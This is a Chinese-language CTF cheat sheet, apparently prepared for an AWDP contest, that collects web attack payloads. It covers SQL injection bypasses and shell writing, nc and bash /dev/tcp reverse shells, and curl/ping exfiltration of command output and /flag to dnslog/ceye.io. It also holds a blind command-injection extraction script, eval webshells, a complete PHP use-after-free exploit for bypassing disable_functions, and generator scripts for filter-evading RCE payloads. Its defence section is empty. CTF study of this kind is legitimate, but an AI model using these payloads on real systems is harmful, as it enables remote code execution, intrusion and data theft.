All_IN_ONE

知识点总结

为华东北awdp 准备

社团知识库有总结 这里简单概括下相关知识点

主要目的为熟悉一遍

SQL注入

原理

当我们访问动态网页时, Web 服务器会向数据访问层发起 Sql 查询请求,如果权限验证通过就会执行 Sql 语句。

这种网站内部直接发送的Sql请求一般不会有危险,但实际情况是很多时候需要结合用户的输入数据动态构造 Sql 语句;

当用户使用sql查询语句时没有遵循代码与数据分离,输入的数据就会被被当作代码执行

Trick

(1) 过滤了逗号

1
2
3
4
5
6
原来:' and ascii(substr((select database()),1,1))=xx %23 
绕过:' and ascii(substr((select database()) from 1 for 1))=xx %23
原来:union select 1,2,3
绕过:union select * from ((select 1)a JOIN (select 2)b JOIN (select 3)c)%23
原来:limit(0,1)
绕过:limit 1 offset 0

(2)空格过滤 注释,括号

1
%20 %09 %0d %0b %0c %0d %a0 %0a 

(3)过滤字段名

1
select c.2 from (select 1,2 union select * from users)c limit 1,2; 

(4) if被过滤

1
2
3
4
5
select case when 1=1 then sleep(5) else 0 end        

sleep被ban id=1' and if(content regexp binary '^%s',get_lock(1,3),1)--

like被过滤 in

(5) order by注入

可以用报错注入updatexml(1,if(1=1,1,user()),1) ||extractvalue(1,if(1=1,1,user())) ?order=(select+1+regexp+if(substring(user(),1,1)=0x72,1,0x00))

(6) limit注入

1
2
3
PROCEDUREINTOINTO除非有写入shell的权限,否则是无法利用的。 

select * from users where id>1 order by id limit 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);

(7) 文件操作

1
2
3
4
5
secure_file_priv null不能,空可以操作  

读文件 LOAD_FILE

写文件 INTO OUTFILE/DUMPFILE(二进制)

(8) 报错,时间注入

1
2
floor UpdateXml extractvalue exp multilinestring 
BENCHMARK sleep 笛卡尔积

(9) 写shell

1
2
3
select into outfile

在表里写shell,然后包含这个表的文件,myd

防御方式

过滤

后面补充

命令执行

这里主要是linux命令

管道符

1
2
3
4
5
6
linux:
‘|’ 直接执行后面的语句
‘||’ 如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句
‘&’ 前面和后面命令都要执行,无论前面真假
‘&&’如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令
‘;’ 这个作用和 ‘&’ 作用相同

通配符

1
2
?   可代替任意一个字符
* 可代替0-任意个字符

重定向

在linux操作系统中一共有>和>>两个重定向符号

1.>符号

用于将命令的标准输出重定向到指定的文件,如果文件不存在,则会创建文件;如果文件已经存在,则会覆盖文件内容。

1
2
ls > file.txt    //将ls的执行结果写入file.txt中
>file.txt //创建名为file.txt的文件

2.>>符号

将命令的标准输出重定向到指定的文件,但与> 不同的是,如果文件已经存在,>> 会将输出追加到文件末尾而不是覆盖文件内容。

常见系统命令

在高级语言当中,系统命令通常需要特定的函数才能执行。

例如php中的

system()

pcntl_exec()

proc_open()

popen()

shell_exec()

exec()

passthru()

python中的

os.system()

pty.spawn(“/bin/bash”) //模拟终端 一般可以提权

在ctf比赛当中,最常见的就是文件读取命令的绕过

下面是一些常见的文件读取命令

命令 实际效果
cat 文件读取
tac 文件读取(行倒序输出)
more 文件读取(一页一页显示)
less 文件读取(一页一页显示,可翻页)
head 文件读取(显示头几行)
tail 文件读取(显示最后几行)
nl 文件读取(会输出行号)
vim/vi 文本编辑器,可用于内容查看
nano 文本编辑器,可用于内容查看
emacs 文本编辑器,可用于内容查看
sed -n ‘1,10p’ 文件读取(显示前10行)
rev 文件读取(倒序输出)
base64 文件读取(以base64形式输出)
strings 文件读取(提取文件中可输出的字符串)
xxd 文件读取(二进制形式输出)
hexdump 文件读取(16进制形式输出)
od 文件读取(8进制形式输出)
uniq 文件读取(会去掉重复行)
cp 文件复制(可用于突破目标文件权限限制)

其它命令

除了以上的常见命令外还有其它的一些常用命令

find

常用于在linux系统中查找某文件(支持通配符)的具体位置

1
2
3
4
5
find / -name flag
find / -name f*
find / -name fla?
/为查找的起始根目录,以上命令会以/(根目录)为查找根目录,在其以及其子目录中查找符合后续命名规则的文件

sed

在某些情况需要对文件内容进行适当修改,但题目环境并未提供vi等文本编辑器,此时可以利用sed达到精准替换某行的目的

1
2
3
4
5
6
7
实现格式为:
sed -i '行数s/原内容/替换为的内容/' 文件名

sed -i '2s/x\.x\.x\.x/150.158.24.228/' filename
sed -i '3s/7002/7000/' filename
sed -i '4s/.*//' filename

echo

如果需要大规模写入内容,可以使用base64编码防止数据丢失,再结合echo将内容写入指定文件

1
2
实现格式为:
echo 'base64编码的数据' | base64 -d > filename

无回显

一些函数会不会将执行的结果回显,例如exec函数,此时我们就需要通过某些手法得到回显

反弹手法

1.nc反弹

1
2
3
4
5
6
7
8
9
10
11
正向连接:
linux靶机:nc -e /bin/bash -lvvnp 端口
win靶机:nc -e cmd -lvvnp 端口 //win系统不自带nc,需要手动上传,此处nc并非固定,根据实际上传的程序名做相应修改
攻击机:nc 靶机ip 端口

反向连接:
linux靶机:nc -e /bin/bash 攻击机ip 端口
win靶机:nc -e cmd 攻击机ip 端口
攻击机:nc -lvvnp 端口

//上述所有操作皆是带有-lvvnp的操作(端口监听)优先

2.bash反弹

1
2
3
4
攻击机:nc -lvvnp 端口
靶机:bash -c "bash -i >& /dev/tcp/攻击机ip/攻击机监听的端口 0>&1"
数组版靶机(java源码):bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTAuNDEuMTcuMTgzLzI1MCAwPiYx}|{base64,-d}|{bash,-i}
//使用时需要对命令中的编码部分解码,将其中的ip和端口修改为攻击机ip段端口后并重新编码才可使用,浏览器传参时需要url编码

3.写shell文件后执行

1
2
3
4
5
6
创建shell.sh
bash -c "bash -i >& /dev/tcp/服务器ip/端口 0>&1"
将上述bash反弹命令写入文件,详见1.2.3节中的echo用法
./shell.sh
利用.执行shell.sh反弹shell

数据写出

将命令的执行结果写入其他文件,再访问其他文件获取执行结果,下以1.txt为例

1
2
3
4
5
6
7
8
9
10
利用cp命令:cp flag.php 1.txt

利用mv命令:mv flag.php 1.txt

利用>输出结果到文件:ls > 1.txt

利用tee命令:ls | tee 1.txt //tee会从从标准输入读取数据,并将其写入文件以及标准输出

利用script命令:ls | script 1.txt //会开启命令记录,命令执行状态以及结果都将会写入文件中

数据外带

在题目环境出网的条件下,我们可以通过数据外带将命令执行的结果外带出来,此处推荐两个外带网址:

1.http://dnslog.cn

2.http://ceye.io/(推荐,更稳定)

linux的数据外带归功于其反引号可执行任意系统命令这一特殊机制

1
2
3
4
5
6
7
8
9
10
11
单行传输:
ping `whoami`.dns地址
curl http://dns地址/`whoami`

//whoami即为我们要执行的系统命令,将其用``包裹后利用.将其与我们的dns地址进行拼接,执行命令后即可在dns处得到whoami命令的回显

多行传输:(外带只会显示第一行的数据)
curl http://y91yp4.ceye.io/`ls / | base64` //将结果进行base64编码后外带出来
curl http://y91yp4.ceye.io/`whoami | sed -n '2p'` //输出固定行的结果
curl -T /flag http://y91yp4.ceye.io/ //指定文件外带

盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests
import string
import time

url='http://localhost.test.php/?c='
dic=string.printable[:-6]
flag=''

for i in range(1,50):
judge=0
for j in dic:
now=f'{url}a=$(cat /flag | head -1 | cut -b {i});if [ $a = {j} ];then sleep 2;fi'
start=time.time()
r=requests.get(now)
end=time.time()
if int(end)-int(start) >1:
judge=1
flag+=j
print(flag)
break
if judge==0:
break

print(flag)

核心命令分析

1
a=$(cat /flag | head -1 | cut -b {i});if [ $a = {j} ];then sleep 2;fi

Part1

1
2
3
4

a=$(cat /flag | head -1 | cut -b {i});
定义变量a,将cat /flag的结果利用head -1取第一行,利用cut -b number取结果的第i(脚本中的循环i)个字符,将字符赋值给a

part2

1
2
3
4

if [ $a = {j} ];
判断得到的变量a是否等于j,j为上述脚本中dic字典的遍历结果

part3

1
2
3
4

then sleep 2;fi
如果判断为真,则睡眠2秒,通过网页是否睡眠判断出flag的每个字母的结果

命令行写shell

可以通过命令执行写入shell,然后蚁剑连接,在某些情况会是一个不错的选择

1
2
3
4
5
echo 'PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8=' | base64 -d > ./123.php  

//base64解码结果为<?php eval($_POST[1]);?>

echo '<?php eval(\$_GET[1]);phpinfo();?>' > /var/www/html/2.php

长度限制绕过

1
2
3
4
5
6
7
8
<?php
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
eval(substr($F,0,6));
}else{
die("111");
}
}

此题利用substr函数对eval的代码进行了限制

1
2
3
4
5
6
7
8
9
10
get传参   F=`$F `; sleep 3
经过substr($F,0,6)截取后 得到 `$F `;
也就是会执行 eval("`$F `;");
我们把原来的$F带进去
eval("``$F `;sleep 3`");
也就是说最终会执行 ` `$F `;sleep 3 ` == shell_exec("`$F `; sleep 3");
前面的命令我们不需要管,但是后面的命令我们可以自由控制。
这样就在服务器上成功执行了 sleep 3
所以 最后就是一道无回显的RCE题目了,将sleep 3
换成无回显即可

命令绕过

空格

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$IFS              

{cat,flag.php} --这里把,替换成了空格键

%20 --代表space键

\x20 --代表space键,eval类中可用

%09 --需要php环境,如cat%09flag.php

\x09 --代表space键,eval类中可用

${IFS} --单纯cat$IFS2,IFS2被bash解释器当做变量名,输不出来结果,加一个{}就固定了变量名,如cat${IFS2}flag.php

$IFS$9 --后面加个$与{}类似,起截断作用,$9是当前系统shell进程第九个参数持有者,始终为空字符串,如cat$IFS2$9flag.php


< --重定向,如cat<flag.php

<> --重定向,如cat<>flag.php

字符串拼接绕过

1
a=l;b=s;c=/;$a$b $c

定义变量a为l,b为s,c为/,执行命令$a$b $c即ls /

base64编码绕过

1
2
3
4
5
6
echo MTIzCg==|base64 -d 其将会打印123


echo bHMgLw== | base64 -d | bash
`echo bHMgLw== | base64 -d` ==>三种结果皆为ls /
echo bHMgLw== | base64 -d | sh

16进制编码绕过

生成脚本

1
2
3
4
<?php
$a = 'ls /';
echo bin2hex($a); //6c73202f
?>

payload

1
2
3
echo 6c73202f | xxd -r -p | bash
`echo 6c73 | xxd -r -p`
echo `6c73202f` | xxd -r -p | sh > 1.txt

单双引号绕过

1
2
3
4
ca''t flag 
ca""t flag
l''s /
l""s /

反斜杠绕过

1
2
3
l\s /
l\s /var/www/ht\ml
ca\t fl\ag

绕过ip中的句点

1
2
3
网络地址可以转换成数字地址
比如127.0.0.1可以转化为2130706433
可以直接访问http://2130706433或者http://0x7F000001,这样就可以绕过.的ip过滤。

数字转ip地址

ip地址转数字

域名转数字ip

原理

127.0.0.1转化为2130706433的原理是基于IPv4地址的点分十进制表示和其32位二进制表示之间的转换。

简单来说 就是转换成二进制再转换成十进制

IPv4地址由4个字节组成,每个字节8位,共32位。每个字节可以表示为一个十进制数,范围是0到255,四个字节通过点分隔形成所谓的点分十进制表示,如127.0.0.1。

将127.0.0.1转换为二进制表示:

  • 127的二进制是01111111
  • 0的二进制是00000000(补足8位)
  • 第三个0同上
  • 第四个1同上

所以,127.0.0.1的二进制表示是01111111.00000000.00000000.00000001

接下来,将这个二进制串视为一个整体的32位无符号整数,转换为十进制数:

十进制 2130706433 <==> 二进制 01111111,00000000,00000000,00000001

print(bin(2130706433))
0b1111111000000000000000000000001

计算方法如下:

  • 01111111对应的十进制是127
  • 后面的三个00000000对应的十进制都是0
  • 最后一个00000001对应的十进制是1

因此,通过将每组八位二进制数转换为相应的十进制数并考虑到它们在32位整数中的位置(即权重),我们可以得到最终的十进制数。

正则匹配绕过

1
2
cat flag  =>   cat [e-g]lag
cat f{k..m}ag

两种正则匹配稍有不同:

1.[]为开区间,并不包含左右边界

2.{}为闭区间,包含左右边界

所以可得,前者只会匹配f,而后者会匹配k,l,m

内敛执行法绕过

1
2
cat `ls`
//获取ls下的所有的文件内容

黑洞绕过

1
2
>/dev/null 2>&1
>代表重定向,会将我们命令执行的所有结果全部丢进预定义的/dev/null这一垃圾桶中,导致我们收不到回显

利用管道符绕过

1
2
3
4
ls || >/dev/null 2>&1

‘||’ 如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句
在这里只执行前面的 ls

绕过open_basedir()

open_basedir()函数是PHP中的一个安全机制,用于限制在PHP脚本中可以打开的文件或目录的范围,从而防止访问非法或未授权的文件系统资源。

1.ini_set重设置绕过

1
2
3
4
<?php
// 设置 open_basedir
ini_set('open_basedir', '/path/to/allowed/directory:/another/allowed/directory');
?>

可以设置多个安全目录,目录和目录之间可以使用:进行分隔

2.UAF脚本绕过安全目录

使用时需要进行url编码再传入(bp编码)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
<?php
function ctfshow($cmd) {
global $abc, $helper, $backtrace;

class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace();
if(!isset($backtrace[1]['args'])) {
$backtrace = debug_backtrace();
}
}
}

class Helper {
public $a, $b, $c, $d;
}

function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}

function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= sprintf("%c",($ptr & 0xff));
$ptr >>= 8;
}
return $out;
}

function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf("%c",($v & 0xff));
$v >>= 8;
}
}

function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}

function parse_elf($base) {
$e_type = leak($base, 0x10, 2);

$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);

for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);

if($p_type == 1 && $p_flags == 6) {

$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) {
$text_size = $p_memsz;
}
}

if(!$data_addr || !$text_size || !$data_size)
return false;

return [$data_addr, $text_size, $data_size];
}

function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);

if($deref != 0x746e6174736e6f63)
continue;
} else continue;

$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);

if($deref != 0x786568326e6962)
continue;
} else continue;

return $data_addr + $i * 8;
}
}

function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) {
return $addr;
}
}
}

function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);

if($f_name == 0x6d6574737973) {
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}

function trigger_uaf($arg) {

$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
$vuln = new Vuln();
$vuln->a = $arg;
}

if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}

$n_alloc = 10;
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

trigger_uaf('x');
$abc = $backtrace[1]['args'][0];

$helper = new Helper;
$helper->b = function ($x) { };

if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}

$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;

write($abc, 0x60, 2);
write($abc, 0x70, 6);

write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);

$closure_obj = str2ptr($abc, 0x20);

$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}

if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}

if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}

if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}


$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}

write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4);
write($abc, 0xd0 + 0x68, $zif_system);

($helper->b)($cmd);
exit();
}

ctfshow("cat /flag02.txt");ob_end_flush();
?>

绕过disable_function

适用于eval类命令执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}

$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}

$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);var_dump($line);}

#扫描根目录有什么文件
$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}
$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->getFilename()." ");}
$a=opendir('/');while(($file = readdir($a)) !=false){echo $file." ";}
c=var_dump(scandir('/'));
$a=opendir('/');while(($file=readdir($a)) != false) {echo $file."";}

#读取的话一般都是用的include(),highlight_file(),show_source(),readfile(),require(),require_once()等函数进行读取

如果结果被替换,可以在代码后边加一个exit退出,进而绕过对于结果的替换

1
$a=opendir('/');while(($file=readdir($a)) != false) {echo $file."";}exit();

eval类命令执行

eval函数的本质是将任意字符串当作php代码执行

我们在进行get和post传参是传入的参数默认都是字符串形式的,正好也一定会符合这个条件

无字符rce

配合文章食用

取反绕过

通过取反操作使得原命令变为不可见字符,绕过waf检测,在eval执行时再通过取反操作还原为原恶意命令,进行执行任意恶意代码

构造脚本1

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$a=urlencode(~('call_user_func'));
$b=urlencode(~('system'));
$c=urlencode(~('whoami'));
echo $a;
echo "\n";
echo $b;
echo "\n";
echo $c;
echo "\n";
echo "(~".$a.")(~".$b.",~".$c.",'');";
?>

构造脚本2

1
2
3
4
5
6
7
8
9
10
11
12
<?php
//在命令行中运行

fwrite(STDOUT,'[+]your function: ');

$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

fwrite(STDOUT,'[+]your command: ');

$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';

异或绕过

通过不可见字符之间的异或运算构造出任意恶意命令,将两个脚本按照规定命名放到同一个目录下,每次使用时需要根据题目代码更换php脚本中的正则部分,更改好运行python代码,根据提示构造即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php

/*author yu22x*/

$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {

if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[a-z0-9A-Z]/i'; //根据题目给的正则表达式修改即可
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}

else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)^urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}

}
}
fwrite($myfile,$contents);
fclose($myfile);

xor.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests
import urllib
from sys import *
import os


def action(arg):
s1 = ""
s2 = ""
for i in arg:
f = open("xor_rce.txt", "r")
while True:
t = f.readline()
if t == "":
break
if t[0] == i:
# print(i)
s1 += t[2:5]
s2 += t[6:9]
break
f.close()
output = "(\"" + s1 + "\"^\"" + s2 + "\")"
return (output)


while True:
param = action(input("\n[+] your function:")) + action(input("[+] your command:")) + ";"
print(param)

或绕过

通过不可见字符之间的或运算构造出任意恶意命令,将两个脚本按照规定命名放到同一个目录下,每次使用时需要根据题目代码更换php脚本中的正则部分,更改好运行python代码,根据提示构造即可

xor.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
$myfile = fopen("or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {

if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[b-df-km-uw-z0-9\+\~\{\}]+/i';
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}

else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)|urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}

}
}
fwrite($myfile,$contents);
fclose($myfile);

xor.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os

os.system("php rce_or.php") # 没有将php写入环境变量需手动运行


def action(arg):
s1 = ""
s2 = ""
for i in arg:
f = open("or.txt", "r")
while True:
t = f.readline()
if t == "":
break
if t[0] == i:
# print(i)
s1 += t[2:5]
s2 += t[6:9]
break
f.close()
output = "(\"" + s1 + "\"|\"" + s2 + "\")"
return (output)


while True:
param = action(input("\n[+] your function:")) + action(input("[+] your command:"))

print(param)

自增绕过

通过php的自增特性,构造出恶意字符串assert($POST[]);,进而实现任意代码执行

我们可以发现,A在进行++操作之后变成了B,规律遵循ascii码表,详见开头。以下为构造脚本

1
2
3
4
5
//测试发现7.0.12以上版本不可使用
//使用时需要url编码下
$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);
固定格式 构造出来的 assert($_POST[_]);
然后post传入 _=phpinfo();

临时文件执行

此方法的适用环境稍有不同,以上手法皆为eval类的无字母数字命令执行,而此方法适用于system类命令执行

1
2
3
4
5
6
7
8
import requests

while True:
url = "http://url/?c=.+/???/????????[@-[]"
r = requests.post(url, files={"file": ('1.php', b'cat flag.php')})
if r.text.find("flag") >0:
print(r.text)
break

我们通过发送一个上传文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母。由于字母数字被过滤,所以所有的字母数字都用?通配符代替

关于正则部分

1
. /???/????????[@-[]

根据观察,文件的最后一位必定为大写字母,所以可以通过正则强制匹配大写字符增加成功几率

关于.

1
. filename

用当前的shell执行一个文件中的命令。

当前运行的shell是bash,则. file的意思就是用bash执行filename文件中的命令。

所以我们就可以用.来执行我们上传的恶意文件

参考请求包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST /?shell=?><?=`.+/%3f%3f%3f/%3f%3f%3f%3f%3f%3f%3f%3f[%40-[]`%3b?> HTTP/1.1
Host: 192.168.43.210:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type:multipart/form-data;boundary=--------123
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 109

----------123
Content-Disposition:form-data;name="file";filename="1.txt"

#!/bin/sh
ls /
----------123--

有或无参rce

配合文章食用

所谓无参数rce就是利用各种已定义函数的复杂搭配,在eval命令执行的条件下成功构造我们所需的恶意代码的操作。例如下方简介表格中的最后一条代码串。

1
2
3
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
eval($_GET['code']);
}

常见函数及简介

函数 效果
include() 包含文件内容
require() 包含文件内容
include_once() 包含文件内容
require_once() 包含文件内容
foreach($a as $x => $y) $a为数组将数组名和值循环赋值给$x和$y
exit($a) 输出$a并退出当前脚本
show_source() 显示文件内容
file_get_contents() 显示文件内容
highlight_file() 显示文件内容
readfile() 显示文件内容
var_dump() 打印数组,显示文件名
printf() 显示文件内容
next() 数组指针移动到下一位
array_reverse() 数组位置前后调转
show_source(next(array_reverse(scandir(current(localeconv()))))) 输出当前目录倒数第二个文件内容
localeconv() 详细的自己搜,返回一个数组,数组的第一个是小数点字符,因此可以用current()提取一个.
current()或pos() 提取数组第一个元素的值
scandir() 显示目录中的所有文件
scandir(current(localeconv())) 查看目录
var_dump(scandir(current(localeconv()))) 输出目录
array_flip() 交换数组中的键和值,成功时返回交换后的数组
array_rand() 从数组中随机取出一个或多个单元
end() 取出数组中的最后一位
chdir() 目录跳转,例如chdir(‘…’)就是跳转到上级目录
get_defined_vars() 返回由所有已定义变量所组成的数组(全局变量)
dirname() 返回当前文件的路径,就是pwd
getcwd() 返回当前的工作目录
getallheaders() 返回所有的请求头数组
getenv() php7.1版本以后才能使用,获取环境变量
time() 返回当前的Unix时间戳
localtime() 取得本地时间
localtime(time()) 返回一个数组,0-60之间
__halt_compiler(); 停止对当前脚本的编译,可用于去掉后边没用的字符串
pos() 取出数组的第一个元素
print_r(scandir(next(scandir(getcwd())))); 输出上级目录
print_r(highlight_file(array_rand(array_flip(scandir(current(localeconv())))))); 赌狗操作,随机读当前目录文件

查看当前目录文件

1
print_r(scandir(current(localeconv())));

读取当前目录文件

1
2
show_source(end(scandir(getcwd())));
show_source(current(array_reverse(scandir(getcwd()))));

随机返回当前目录文件

1
2
3
highlight_file(array_rand(array_flip(scandir(getcwd()))));
show_source(array_rand(array_flip(scandir(getcwd()))));
show_source(array_rand(array_flip(scandir(current(localeconv())))));

查看上级目录

1
2
3
print_r(scandir(dirname(getcwd())));
print_r(scandir(next(scandir(getcwd()))));
print_r(scandir(next(scandir(getcwd()))));

查看根目录文件名

1
print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));

session_id

通过开启session,构造恶意session值进而执行任意恶意代码,构造脚本如下

1
2
3
<?php
echo bin2hex("phpinfo();");
?>

恶意代码

1
eval(hex2bin(session_id(session_start())));

恶意session值

1
phpsessid=706870696e666f28293b

getallheaders

示例代码

源代码

1
2
3
4
5
6
7
8
9
10
<?php
highlight_file(__FILE__);
// FLAG in the flag.php
$file = $_GET['file'];
if(isset($file) && !preg_match('/base|rot/i',$file)){
@include($file);
}else{
die("nope");
}
?>

payload:

1
2
3
eval(array_pop(getallheaders()));
//这里的array_pop是弹出http头的最后一个
//getallheaders()会获取所有请求头信息的一个数组
1
2
3
4
5
6
请求头:
因为得是在最后一个,所以用字母让他排到最后,例如:
ZZZZZ=phpinfo();

或者使用
eval(pos(next(array_reverse(getallheaders())));

